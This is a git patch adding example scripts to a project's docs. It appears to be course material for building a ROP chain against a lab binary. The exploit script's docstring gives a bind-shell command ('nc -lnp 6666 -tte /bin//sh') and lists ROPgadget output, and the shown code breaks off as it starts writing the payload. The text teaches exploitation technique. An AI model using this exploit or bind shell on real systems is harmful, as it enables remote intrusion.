From b5ef4f9a27ed51992f25c7306f91b3060a7e2fc2 Mon Sep 17 00:00:00 2001 From: Liam Dalgarno Date: Sat, 28 Nov 2020 17:40:49 +0000 Subject: [PATCH] Add example scripts Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston --- docs/exploit-nc.py | 168 +++++++++++++++++++++++++++++++++++++++ docs/script_reference.py | 80 +++++++++++++++++++ 2 files changed, 248 insertions(+) create mode 100644 docs/exploit-nc.py create mode 100644 docs/script_reference.py diff --git a/docs/exploit-nc.py b/docs/exploit-nc.py new file mode 100644 index 0000000..bb99d77 --- /dev/null +++ b/docs/exploit-nc.py @@ -0,0 +1,168 @@ +""" +This is a demo python script that creates a ROP chain to launch nc as: +> /bin//nc -lnp 6666 -tte /bin//sh +The gadgets in the following code are based on my machine & binary and as a result you will have to adjust the gadget based on your environment. +With the latest ROPGadget tool that we used in the class, we get the following ropchain: +- Step 1 -- Write-what-where gadgets + + [+] Gadget found: 0x8056d05 mov dword ptr [edx], eax ; ret + [+] Gadget found: 0x806ee8b pop edx ; ret + [+] Gadget found: 0x80a8bf6 pop eax ; ret + [+] Gadget found: 0x80562c0 xor eax, eax ; ret + +- Step 2 -- Init syscall number gadgets + + [+] Gadget found: 0x80562c0 xor eax, eax ; ret + [+] Gadget found: 0x807c32a inc eax ; ret + +- Step 3 -- Init syscall arguments gadgets + + [+] Gadget found: 0x80481c9 pop ebx ; ret + [+] Gadget found: 0x806eeb2 pop ecx ; pop ebx ; ret + [+] Gadget found: 0x806ee8b pop edx ; ret + +- Step 4 -- Syscall gadget + + [+] Gadget found: 0x8049603 int 0x80 + +- Step 5 -- Build the ROP chain + + + +""" + + + + + +#!/usr/bin/env python +from struct import pack +import os +###################################### +fileName=raw_input("Enter the file name") +outfile=open(fileName, "wb") +# this is just to create variables of the gadgets that we will be using +DATA = 0x080da120 +EDAX0 = pack("